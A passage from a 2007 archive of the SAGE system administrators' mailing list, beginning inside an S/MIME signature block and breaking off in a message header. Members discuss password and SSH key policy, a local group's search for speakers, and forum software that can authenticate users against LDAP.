VQQDExtUaGF3dGUgUGVyc29uYWwgRnJlZW1haWwgQ0ExKzApBgkqhkiG9w0BCQEWHHBlcnNvbmFs
LWZyZWVtYWlsQHRoYXd0ZS5jb20wHhcNMDMwNzE3MDAwMDAwWhcNMTMwNzE2MjM1OTU5WjBiMQsw
CQYDVQQGEwJaQTElMCMGA1UEChMcVGhhd3RlIENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UE
AxMjVGhhd3RlIFBlcnNvbmFsIEZyZWVtYWlsIElzc3VpbmcgQ0EwgZ8wDQYJKoZIhvcNAQEBBQAD
gY0AMIGJAoGBAMSmPFVzVftOucqZWh5owHUEcJ3f6f+jHuy9zfVb8hp2vX8MOmHyv1HOAdTlUAow
1wJjWiyJFXCO3cnwK4Vaqj9xVsuvPAsH5/EfkTYkKhPPK9Xzgnc9A74r/rsYPge/QIACZNenpruf
ZdHFKlSFD0gEf6e20TxhBEAeZBlyYLf7AgMBAAGjgZQwgZEwEgYDVR0TAQH/BAgwBgEB/wIBADBD
BgNVHR8EPDA6MDigNqA0hjJodHRwOi8vY3JsLnRoYXd0ZS5jb20vVGhhd3RlUGVyc29uYWxGcmVl
bWFpbENBLmNybDALBgNVHQ8EBAMCAQYwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVByaXZhdGVM
YWJlbDItMTM4MA0GCSqGSIb3DQEBBQUAA4GBAEiM0VCD6gsuzA2jZqxnD3+vrL7CF6FDlpSdf0wh
uPg2H6otnzYvwPQcUCCTcDz9reFhYsPZOhl+hLGZGwDFGguCdJ4lUJRix9sncVcljd2pnDmOjCBP
ZV+V2vf3h9bGCE6u9uo05RAaWzVNd+NWIXiC3CEZNd4ksdMdRv9dX2VPMYIDEDCCAwwCAQEwdjBi
MQswCQYDVQQGEwJaQTElMCMGA1UEChMcVGhhd3RlIENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoG
A1UEAxMjVGhhd3RlIFBlcnNvbmFsIEZyZWVtYWlsIElzc3VpbmcgQ0ECECRsS/v7ojkGG6A09sy+
qUowCQYFKw4DAhoFAKCCAW8wGAYJKoZIhvcNAQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0BCQUx
DxcNMDcwMTIyMjA0MjQzWjAjBgkqhkiG9w0BCQQxFgQU0WR0hcxLTBusXLI60i3aOG33BLowgYUG
CSsGAQQBgjcQBDF4MHYwYjELMAkGA1UEBhMCWkExJTAjBgNVBAoTHFRoYXd0ZSBDb25zdWx0aW5n
IChQdHkpIEx0ZC4xLDAqBgNVBAMTI1RoYXd0ZSBQZXJzb25hbCBGcmVlbWFpbCBJc3N1aW5nIENB
AhAkbEv7+6I5BhugNPbMvqlKMIGHBgsqhkiG9w0BCRACCzF4oHYwYjELMAkGA1UEBhMCWkExJTAj
BgNVBAoTHFRoYXd0ZSBDb25zdWx0aW5nIChQdHkpIEx0ZC4xLDAqBgNVBAMTI1RoYXd0ZSBQZXJz
b25hbCBGcmVlbWFpbCBJc3N1aW5nIENBAhAkbEv7+6I5BhugNPbMvqlKMA0GCSqGSIb3DQEBAQUA
BIIBAAC1APWVI1rNT3qacxOEL8bU9o+2PQQrrfw4LJfFE86VctXKIkY4y5UhCPe2jF8yqe+07Hly
/6/k2zt1pf9qsgp5unWv+wbmcrNwit5/+udcf/Le09wVcCBEqrLNLitQbeo4kUqUczBhOhkB0Pem
OqKduioJZZYS+bqhFuFXQ1QURrxx8ODM0NHaDqIoLj3GkDXsVpjcDwagVx+SbJ4umXs5GHV6XwgU
qFKUUuajyOGv1/qVbgVstzupcefrhKrNtueA94k3pguox+r8jdrP1uO9xuLaiRJxrL1kSPGPhlxV
WIxqs8CbLWV1h/75qRJrnXL+RZsrWCAmJU+y9AmET6IAAAAAAAA=

--Apple-Mail-92-65318793--


From sage-members-owner@usenix.org Mon Jan 22 19:26:17 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0N3Q6X4018142
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Mon, 22 Jan 2007 19:26:13 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0N3Q5SF018141
	for sage-members-0utGoign; Mon, 22 Jan 2007 19:26:05 -0800 (PST)
Received: from mail.indeterminate.net (host-8.colo.spiretech.com
	[207.173.206.8])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0N3Pdxq018117
	for <sage-members@sage.org>; Mon, 22 Jan 2007 19:25:49 -0800 (PST)
Received: from olivia.indeterminate.net (olivia.indeterminate.net
	[207.173.206.8])
	by mail.indeterminate.net (8.11.6/8.11.6) with ESMTP id l0N3PHE30206
	for <sage-members@sage.org>; Mon, 22 Jan 2007 19:25:19 -0800
Date: Mon, 22 Jan 2007 19:25:17 -0800 (PST)
From: John Costello <cos@indeterminate.net>
To: sage-members@sage.org
Subject: Re: Bugging devices Re: Other ethical questions (was: Re: [SAGE]
	Ethical question - to disclose or not to disclose)
In-Reply-To: <20070111192132.E11764@skink.reptiles.org>
Message-ID: <Pine.LNX.4.44.0701221924560.30189-100000@olivia.indeterminate.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Virus-Scanned: ClamAV version 'clamd / ClamAV version 0.65',
	clamav-milter version '0.60p'
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

On Thu, 11 Jan 2007, Cat Okita wrote:
> On Thu, 11 Jan 2007, John Costello wrote:
> > My favorite bit from the article is "the case of a female foreign spy who
> > seduced her American boyfriend to steal his computer passwords."
> >
> > That makes for a fun pick-up line at bars.
> 
> ... you mean random men don't normally walk up to you and give you 
> passwords, or hack the phone company for you, just like they do in 
> the movies?!?

Cat, you're making me miss my teen years....



From sage-members-owner@usenix.org Mon Jan 22 20:31:42 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0N4Vf4A020106
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Mon, 22 Jan 2007 20:31:41 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0N4VfiL020104
	for sage-members-0utGoign; Mon, 22 Jan 2007 20:31:41 -0800 (PST)
Received: from absinthe.tinho.net (absinthe.tinho.net [166.84.5.228])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0N4VNh8020083
	for <sage-members@usenix.org>; Mon, 22 Jan 2007 20:31:33 -0800 (PST)
Received: from absinthe.tinho.net (absinthe.tinho.net [166.84.5.228])
	by absinthe.tinho.net (Postfix) with ESMTP id DF24D1BF906;
	Mon, 22 Jan 2007 23:31:12 -0500 (EST)
From: dan@geer.org
To: Theodore Tso <tytso@mit.edu>
cc: sage-members@usenix.org
Subject: Re: Re[2]: [SAGE] The danger of SSH keys.. 
In-Reply-To: Your message of "Mon, 22 Jan 2007 17:36:28 EST."
	<20070122223627.GA26366@thunk.org> 
Date: Mon, 22 Jan 2007 23:31:12 -0500
Message-Id: <20070123043112.DF24D1BF906@absinthe.tinho.net>
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk


Theodore Tso writes:
 | 
 |                                             In another real world
 | example, the security office set some obnoxious password policy that
 | caused passwords to be impossible to remember, and then required
 | changing said obnoxious passwords every 30 days.  But this was at a
 | company where the traders were making bazillions of dollars every day,
 | and rule #1 was "thou should not piss off the traders, for they make
 | your company rich and can go find a job with the competition".  So the
 | company hired a set of runners who were given the traders' passwords,
 | and every morning before the traders came in, the runners would run
 | around to all of the trading workstations and log in the traders so
 | they wouldn't have to. 
 | 


for the record, I can corroborate the above

--dan



From sage-members-owner@usenix.org Mon Jan 22 21:19:41 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0N5JfEQ022090
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Mon, 22 Jan 2007 21:19:41 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0N5JeSD022088
	for sage-members-0utGoign; Mon, 22 Jan 2007 21:19:40 -0800 (PST)
Received: from compata.com (compata.com [216.237.17.163])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0N5JKBL022075
	for <sage-members@usenix.org>; Mon, 22 Jan 2007 21:19:30 -0800 (PST)
Received: from aopen.compata.com (aopen [192.168.44.9])
	by compata.com (8.12.11/8.12.11) with ESMTP id l0N5J5UT024938
	for <sage-members@usenix.org>; Mon, 22 Jan 2007 21:19:05 -0800
Received: from localhost by aopen.compata.com (Linux 2.6)
	with ESMTP (8.13.8/8.13.4) id l0N5J58Y003591
	for <sage-members@usenix.org>; Mon, 22 Jan 2007 21:19:05 -0800
Message-Id: <200701230519.l0N5J58Y003591@aopen.compata.com>
X-Mailer: exmh version 2.7.2 01/07/2005 with nmh-1.1
To: sage-members@usenix.org
Subject: Re: Re[2]: [SAGE] The danger of SSH keys.. 
In-reply-to: Your message of "Mon, 22 Jan 2007 13:01:29 CST."
	<1096018946.20070122130129@puryear-it.com> 
References: <410572049.20070122085528@puryear-it.com>
	<1255865152.20070122113513@puryear-it.com>
	<45B4FD68.2030000@samurai.com> 
	<20070122181800.GB7195@deer-run.com> <45B506AC.7090905@samurai.com>
	<1096018946.20070122130129@puryear-it.com>
From: Dave Close <dave@compata.com>
Reply-To: sage-members@usenix.org
X-message-flag: Did you know MS Outlook is evil?
X-Face: $?&5f7w4GjUJOb-[FmngebA}V`5Dv)QEdHg|d%mytVRm]'o}*{J6:PP%(LfN
	LmOcb#>"^wDF*|ZzuS??S*vLH[.miV(<v!QArMJG;~Mx<jl!LQ3)Gy9xw7w!EBQx9H~*[
	*XF#\wyQK,dciSN=F_gd#{`rb43?hn5C9I&@Q2C+epIAS
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Mon, 22 Jan 2007 21:19:05 -0800
X-Scanned-By: milter-sender/0.55.730 (mail.compata.com []);
	Mon, 22 Jan 2007 21:19:05 -0800
X-DCC-Usenix-Metrics: voyager 1010; Body=1 Fuz1=1 Fuz2=1
Sender: owner-sage-members@usenix.org
Precedence: bulk

With properly implemented password verification (such as including,
for example, three wrong attempts requires manual intervention), there
is really no way to crack a password from the outside, almost no matter
how "weak" it might be. The weakness of passwords is a function of the
weakness of the server: steal the data base and crack at your leisure.
Making passwords "stronger" doesn't really have much impact on an
attack of that sort. Changing passwords periodically also has almost
no value against an offline crack (no attacker will wait three months
before trying to use a discovered password). Your only defense is to
keep the server itself secure.

Some might respond that no security is perfect and the server might
well be broken, so why not make the offline cracking take a little
longer? But "stronger" passwords /don't/ make it take any longer, given
the ability to use pre-computed dictionaries of any size. So you're back
to trying to keep the server secure, which is the right approach anyway.

Where a passwordless SSH key really presents a problem is that the
"server" you need to secure is the client machine. It's the one with
the password "data base", the private key itself. If you don't think
securing that is possible, maybe you should require SSH users to use
passwords, instead of or in addition to keys.
-- 
Dave Close, Compata, Costa Mesa CA  "There is no security on this earth.
dave@compata.com, +1 714 434 7359    There is only opportunity."
dhclose@alumni.caltech.edu             -- Douglas MacArthur



From sage-members-owner@usenix.org Tue Jan 23 01:24:42 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0N9OKP0023262
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Tue, 23 Jan 2007 01:24:26 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0N9OKqq023261
	for sage-members-0utGoign; Tue, 23 Jan 2007 01:24:20 -0800 (PST)
Received: from smtp303.his.com (smtp303.his.com [216.194.210.47])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0N9Njer023222
	for <sage-members@usenix.org>; Tue, 23 Jan 2007 01:23:56 -0800 (PST)
Received: from localhost (localhost [127.0.0.1])
	by smtp303.his.com (Postfix) with ESMTP id 7629A15B594
	for <sage-members@usenix.org>; Tue, 23 Jan 2007 04:23:41 -0500 (EST)
Received: from smtp303.his.com ([216.194.210.47])
	by localhost (smtp303.his.com [216.194.210.47]) (amavisd-new,
	port 10024) with ESMTP id 20124-01 for <sage-members@usenix.org>;
	Tue, 23 Jan 2007 04:23:38 -0500 (EST)
Received: from vhost109.his.com (vhost109.his.com [216.194.225.101])
	by smtp303.his.com (Postfix) with ESMTP id 9B17315B591
	for <sage-members@usenix.org>; Tue, 23 Jan 2007 04:23:38 -0500 (EST)
Received: from [10.0.1.12] (localhost.his.com [127.0.0.1])
	by vhost109.his.com (8.13.1/8.12.3) with ESMTP id l0N9Nb5V076052
	for <sage-members@usenix.org>; Tue, 23 Jan 2007 04:23:37 -0500 (EST)
	(envelope-from brad@shub-internet.org)
Mime-Version: 1.0
Message-Id: <p06240501c1db814a8c0e@[10.0.1.12]>
Date: Tue, 23 Jan 2007 03:23:32 -0600
To: SAGE Members Mailing List <sage-members@usenix.org>
From: Brad Knowles <brad@shub-internet.org>
Subject: [SAGE] Speakers?
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Virus-Scanned: Debian amavisd-new at smtp502.his.com
X-Spam-Status: No, score=-4.338 tagged_above=-99 required=5
	tests=[ALL_TRUSTED=-1.8, AWL=0.061, BAYES_00=-2.599]
X-Spam-Score: -4.338
X-Spam-Level: 
X-DCC-dmv.com-Metrics: voyager 1181; Body=1 Fuz1=1 Fuz2=1 rep=4%
Sender: owner-sage-members@usenix.org
Precedence: bulk

Folks,

At our January meeting, CACTUS selected their new set of officers for 
this next year, and I've been drafted in as the Program Chair.

Now, I've been looking for potential speakers to come to a future 
CACTUS meeting and give a talk on a subject, and of course one of the 
first things that occurred to me was to take a look at the SAGE 
Speakers Bureau.  I know that CACTUS is a USENIX affiliate 
organization as opposed to SAGE, but many of the people there are 
sysadmins and I figured there'd at least be a lot of overlap.


Now, looking at the Speakers Bureau page (sorted by topic) at 
<http://www.sage.org/cgi-bin/speakers/speakers.cgi?action=bytopic>, a 
couple of things strike me.

One is that this page doesn't tell me where the individual speakers 
are located.  I don't know about you, but I imagine most people 
aren't going to be interested to travel to a local group like CACTUS 
to give a talk, unless they are already living pretty close by.  I 
can deal with that, because it turns out that there are a relatively 
few topics that I think would be of interest to CACTUS members, and a 
relatively few number of speakers that would be involved.  Even going 
through every name listed at 
<http://www.sage.org/cgi-bin/speakers/speakers.cgi?action=byspeaker> 
would be do-able.  But, my job would be made a easier if I could 
avoid these steps.

Another thing is that there is no indication on this page as to who 
has a set minimum requirement for compensation, and who has either 
none or would at least be willing to consider a relatively nominal 
fee to come talk to a local group.  Certainly, I would be willing to 
do that for any group within a decent driving distance of where I 
live in Austin, and I'd like to update my speakers bureau entry to 
reflect that.  But it's hard to see who else might feel the same way.


Now, broadening this question a bit, does anyone know of any similar 
resources that might be useful for someone trying to put together 
potential topics of interest for future meetings of this kind of 
local group?

Thanks!

-- 
Brad Knowles <brad@shub-internet.org>, CACTUS Program Chair
CACTUS - Capital Area Central Texas Unix Society <http://www.cactus.org/>

LinkedIn Profile: <http://tinyurl.com/y8kpxu>


From sage-members-owner@usenix.org Tue Jan 23 01:51:25 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0N9pBAp024525
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Tue, 23 Jan 2007 01:51:11 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0N9pB8v024523
	for sage-members-0utGoign; Tue, 23 Jan 2007 01:51:11 -0800 (PST)
Received: from pop.ncsa.uiuc.edu (pop.ncsa.uiuc.edu [141.142.2.28])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0N9oXBJ024512
	for <sage-members@usenix.org>; Tue, 23 Jan 2007 01:50:44 -0800 (PST)
X-Envelope-From: jbarlow@wolrab.ncsa.uiuc.edu
X-Envelope-To: <sage-members@usenix.org>
Received: from amantadine.ncsa.uiuc.edu (amantadine.ncsa.uiuc.edu
	[141.142.2.201])
	by pop.ncsa.uiuc.edu (8.11.7/8.11.7) with ESMTP id l0MKvIS28411
	for <sage-members@usenix.org>; Mon, 22 Jan 2007 14:57:18 -0600
Received: from wolrab.ncsa.uiuc.edu (wolrab.ncsa.uiuc.edu [141.142.231.29])
	by amantadine.ncsa.uiuc.edu (8.13.8/8.13.8) with ESMTP id
	l0MKqlo0007524; Mon, 22 Jan 2007 14:52:47 -0600
Received: (from jbarlow@localhost)
	by wolrab.ncsa.uiuc.edu (8.12.11.20060308/8.12.11/Submit) id
	l0MKudFW028717; Mon, 22 Jan 2007 14:56:39 -0600
Date: Mon, 22 Jan 2007 14:56:39 -0600
From: "James J. Barlow" <jbarlow@ncsa.uiuc.edu>
To: Dustin Puryear <dustin@puryear-it.com>
Cc: SAGE Members Mailing List <sage-members@usenix.org>
Subject: Re: [SAGE] The danger of SSH keys..
Message-ID: <20070122205639.GA28706@wolrab.ncsa.uiuc.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <1096018946.20070122130129@puryear-it.com>
User-Agent: Mutt/1.4.1i
X-Null-Tag: 262bfccc996a57d9e094124b124685ac
X-NCSA-MailScanner-Information: Please contact help@ncsa.uiuc.edu for more
	information, amantadine.ncsa.uiuc.edu
X-NCSA-MailScanner: Found to be clean
X-DCC--Metrics: voyager 1356; Body=2 Fuz1=2 Fuz2=2
Sender: owner-sage-members@usenix.org
Precedence: bulk

On Mon, Jan 22, 2007 at 01:01:29PM -0600, Dustin Puryear wrote:
> 
> With keys, I want the ability to:
> 
> 3. Require private keys to have strong passwords (no realistic way to
> enforce this).
> 
> With this, I think the strength in using SSH keys could be
> dramatically increased.

Here is some research work that was done at NCSA to manage SSH public keys.
It takes the management out of the users control, and you can enforce
whatever type of pssphrase policy you want at the server:

    http://security.ncsa.uiuc.edu/research/ssh-remote-agent/


- Jim



From sage-members-owner@usenix.org Tue Jan 23 08:03:13 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0NG3CRo008198
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Tue, 23 Jan 2007 08:03:12 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0NG3Cnp008196
	for sage-members-0utGoign; Tue, 23 Jan 2007 08:03:12 -0800 (PST)
Received: from [131.106.3.36] (tuvok.usenix.org [131.106.3.36])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0NG36fg008186;
	Tue, 23 Jan 2007 08:03:06 -0800 (PST)
In-Reply-To: <p06240501c1db814a8c0e@[10.0.1.12]>
References: <p06240501c1db814a8c0e@[10.0.1.12]>
Mime-Version: 1.0 (Apple Message framework v752.2)
Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed
Message-Id: <A7D00018-3FB0-4763-8FF3-CA5FD91DE4E5@usenix.org>
Cc: SAGE Members Mailing List <sage-members@usenix.org>
Content-Transfer-Encoding: 7bit
From: jane-ellen long <jel@usenix.org>
Subject: Re: [SAGE] Speakers?
Date: Tue, 23 Jan 2007 08:03:05 -0800
To: Brad Knowles <brad@shub-internet.org>
X-Mailer: Apple Mail (2.752.2)
Sender: owner-sage-members@usenix.org
Precedence: bulk

Good points, Brad, as usual, and we do have a plan to address them.  
We've designed the new speakers pages specifically to facilitate  
implementation of search capabilities (there's a mouthful for you).  
When that's in place, you'll be able to look for speakers who are in  
Ohio, or who will travel anywhere, etc.

cheers,
jane-ellen

---
Jane-Ellen Long
Director, IS and Production
USENIX & SAGE




From sage-members-owner@usenix.org Wed Jan 24 21:03:41 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0P53c9a017908
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Wed, 24 Jan 2007 21:03:38 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0P53cWS017907
	for sage-members-0utGoign; Wed, 24 Jan 2007 21:03:38 -0800 (PST)
Received: from amber.ccs.neu.edu (amber.ccs.neu.edu [129.10.116.51])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0P53B4G017886
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members@usenix.org>; Wed, 24 Jan 2007 21:03:23 -0800 (PST)
Received: from c-65-96-187-69.hsd1.ma.comcast.net ([65.96.187.69]
	helo=[192.168.0.2])
	by amber.ccs.neu.edu with esmtpsa (TLSv1:AES128-SHA:128) (Exim 4.50)
	id 1H9wlH-0003wb-Ss
	for sage-members@usenix.org; Thu, 25 Jan 2007 00:03:00 -0500
Mime-Version: 1.0 (Apple Message framework v752.3)
Content-Transfer-Encoding: 7bit
Message-Id: <F5F441F8-4A93-498B-B832-C6C97FD9A75C@ccs.neu.edu>
Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed
To: SAGE Members <sage-members@usenix.org>
From: David Blank-Edelman <dnb@ccs.neu.edu>
Subject: [SAGE] suggestions for web forum software w/LDAP intergration?
Date: Thu, 25 Jan 2007 00:02:39 -0500
X-Mailer: Apple Mail (2.752.3)
Sender: owner-sage-members@usenix.org
Precedence: bulk

Howdy-
   After being soured by one commercial offering (vBulletin), I'm on  
the hunt for a web forum package which integrates with LDAP. By  
"integrates," I mean I'd like to:

1) authenticate users off of an existing LDAP server (vs. using a  
separate account system)
2) authorize users (e.g. who can see a particular forum, list of  
moderators, etc) from existing LDAP groups

I'm looking at the package by Jive Software but I'm not certain I can/ 
want to pay their fairly substantial prices. I haven't found much  
else that plays in this space.

Any other suggestions? Thanks.

      -- dNb
  


From sage-members-owner@usenix.org Thu Jan 25 01:36:01 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0P9ZWkQ005227
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 25 Jan 2007 01:35:33 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0P9ZWsb005226
	for sage-members-0utGoign; Thu, 25 Jan 2007 01:35:32 -0800 (PST)
Received: from smtp303.his.com (smtp303.his.com [216.194.210.47])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0P9YpJt005190
	for <sage-members@usenix.org>; Thu, 25 Jan 2007 01:35:02 -0800 (PST)
Received: from localhost (localhost [127.0.0.1])
	by smtp303.his.com (Postfix) with ESMTP id CBCA115B57B;
	Thu, 25 Jan 2007 04:34:46 -0500 (EST)
Received: from smtp303.his.com ([216.194.210.47])
	by localhost (smtp303.his.com [216.194.210.47]) (amavisd-new,
	port 10024)
	with ESMTP id 02844-10; Thu, 25 Jan 2007 04:34:44 -0500 (EST)
Received: from vhost109.his.com (vhost109.his.com [216.194.225.101])
	by smtp303.his.com (Postfix) with ESMTP id ABDD115B56C;
	Thu, 25 Jan 2007 04:34:44 -0500 (EST)
Received: from [10.0.1.12] (localhost.his.com [127.0.0.1])
	by vhost109.his.com (8.13.1/8.12.3) with ESMTP id l0P9YhYw024606;
	Thu, 25 Jan 2007 04:34:43 -0500 (EST)
	(envelope-from brad@shub-internet.org)
Mime-Version: 1.0
Message-Id: <p06240500c1de288e2b91@[10.0.1.12]>
In-Reply-To: <F5F441F8-4A93-498B-B832-C6C97FD9A75C@ccs.neu.edu>
References: <F5F441F8-4A93-498B-B832-C6C97FD9A75C@ccs.neu.edu>
Date: Thu, 25 Jan 2007 03:33:59 -0600
To: David Blank-Edelman <dnb@ccs.neu.edu>,
	SAGE Members <sage-members@usenix.org>
From: Brad Knowles <brad@shub-internet.org>
Subject: Re: [SAGE] suggestions for web forum software w/LDAP intergration?
Content-Type: text/plain; charset="us-ascii" ; format="flowed"
X-Virus-Scanned: Debian amavisd-new at smtp502.his.com
X-Spam-Status: No, score=-4.34 tagged_above=-99 required=5
	tests=[ALL_TRUSTED=-1.8, AWL=0.059, BAYES_00=-2.599]
X-Spam-Score: -4.34
X-Spam-Level: 
X-DCC-dmv.com-Metrics: voyager 1181; Body=1 Fuz1=1 Fuz2=1 rep=5%
Sender: owner-sage-members@usenix.org
Precedence: bulk

At 12:02 AM -0500 1/25/07, David Blank-Edelman wrote:

>  I'm looking at the package by Jive Software but I'm not certain I can/want
>  to pay their fairly substantial prices. I haven't found much else that
>  plays in this space.

Hmm.  Does PHPBB not satisfy your requirements?  I know that Curtis 
Preston uses it as part of his integrated website that he runs at 
backupcentral.com, in combination with the Joomla! CMS, the Mambo 
Wiki version of MediaWiki (for integration with Joomla!), and Mailman 
for mail/USENET integration.  Knowing Curtis, I'd be real surprised 
if he's not using LDAP on the backend, but then I don't know 
precisely how the authentication stuff within Joomla! integrates with 
the other code.

See <http://www.backupcentral.com/content/view/30/47> for more 
information on what Curtis has put together.


If this doesn't satisfy your requirements, I'd like to learn more 
about what it is that it lacks.  I'm not really up-to-speed on these 
newfangled dang-blasted CMS doohickeys, and I'd like to learn more 
about them.  ;)

-- 
Brad Knowles <brad@shub-internet.org>, Consultant & Author
Co-author of SAGE Booklet #15 "Internet Postmaster: Duties and 
Responsibilities"
Founding Member and Platinum Individual Sponsor of LOPSA: 
<http://www.lopsa.org>
Papers: <http://tinyurl.com/tj6q4> LinkedIn Profile: 
<http://tinyurl.com/y8kpxu>


From sage-members-owner@usenix.org Thu Jan 25 06:31:20 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PEVCMW022742
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <sage-members-0utGoign@voyager.usenix.org>;
	Thu, 25 Jan 2007 06:31:12 -0800 (PST)
Received: (from majordomo@localhost)
	by voyager.usenix.org (8.13.6/8.13.6/Submit) id l0PEVBfu022740
	for sage-members-0utGoign; Thu, 25 Jan 2007 06:31:11 -0800 (PST)
Received: from outbound0.sv.meer.net (outbound0.mx.meer.net [209.157.153.23])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PEUbZM022685
	for <sage-members@usenix.org>; Thu, 25 Jan 2007 06:30:47 -0800 (PST)
Received: from mail.meer.net (mail.meer.net [209.157.152.14])
	by outbound0.sv.meer.net (8.12.10/8.12.6) with ESMTP id l0PDQJih018671; 
	Thu, 25 Jan 2007 05:26:19 -0800 (PST)
	(envelope-from celeste@stokely.com)
Received: from [192.168.1.106] (cpe-70-122-13-224.austin.res.rr.com
	[70.122.13.224])
	by mail.meer.net (8.13.3/8.13.3/meer) with ESMTP id l0PDQImu028047;
	Thu, 25 Jan 2007 05:26:19 -0800 (PST)
	(envelope-from celeste@stokely.com)
Subject: Re: [SAGE] suggestions for web forum software w/LDAP intergration?
From: Celeste Stokely <celeste@stokely.com>
Reply-To: celeste@stokely.com
To: David Blank-Edelman <dnb@ccs.neu.edu>
Cc: SAGE Members <sage-members@usenix.org>
In-Reply-To: <9368677.1169702774023.JavaMail.root@m48>
References: <9368677.1169702774023.JavaMail.root@m48>
Content-Type: text/plain
Organization: Stokely Consulting
Date: Thu, 25 Jan 2007 07:26:36 -0600
Message-Id: <1169731596.4498.59.camel@liberty.stokely.com>
Mime-Version: 1.0
X-Mailer: Evolution 2.6.0 
Content-Transfer-Encoding: 7bit
X-DCC-dmv.com-Metrics: voyager 1181; Body=1 Fuz1=1 Fuz2=1 rep=13%
Sender: owner-sage-members@usenix.org
Precedence: bulk

David, I've been very happy with SMF - http://www.simplemachines.org/ 
which has an LDAP "bridge" listed at
http://custom.simplemachines.org/mods/index.php?mod=213
There may be other LDAP plugins for it, too. 

I use SMF with an aMember plugin for authentication in a commercial 
subscription web site, but haven't used it with LDAP. It's been
glitch-free for me so far.

SMF is delightfully easy to install, configure and use.
And, it's free software with a large user base.

..Celeste Stokely, celeste@stokely.com - www.stokely.com
8025 RR 620 North, #1722, Austin TX 78726-4113, (512) 249-7812

On Thu, 2007-01-25 at 00:02 -0500, David Blank-Edelman wrote:
> Howdy-
>    After being soured by one commercial offering (vBulletin), I'm on  
> the hunt for a web forum package which integrates with LDAP. By  
> "integrates," I mean I'd like to:
> 
> 1) authenticate users off of an existing LDAP server (vs. using a  
> separate account system)
> 2) authorize users (e.g. who can see a particular forum, list of  
> moderators, etc) from existing LDAP groups
> 
> I'm looking at the package by Jive Software but I'm not certain I can/ 
> want to pay their fairly substantial prices. I haven't found much  
> else that plays in this space.
> 
> Any other suggestions? Thanks.
> 
>       -- dNb




From sage-members-owner@usenix.org Thu Jan 25 07:05:29 2007
Received: from voyager.usenix.org (localhost [127.0.0.1])
	by usenix.org (8.13.6/8.13.6) with ESMTP id l0PF5POh024272
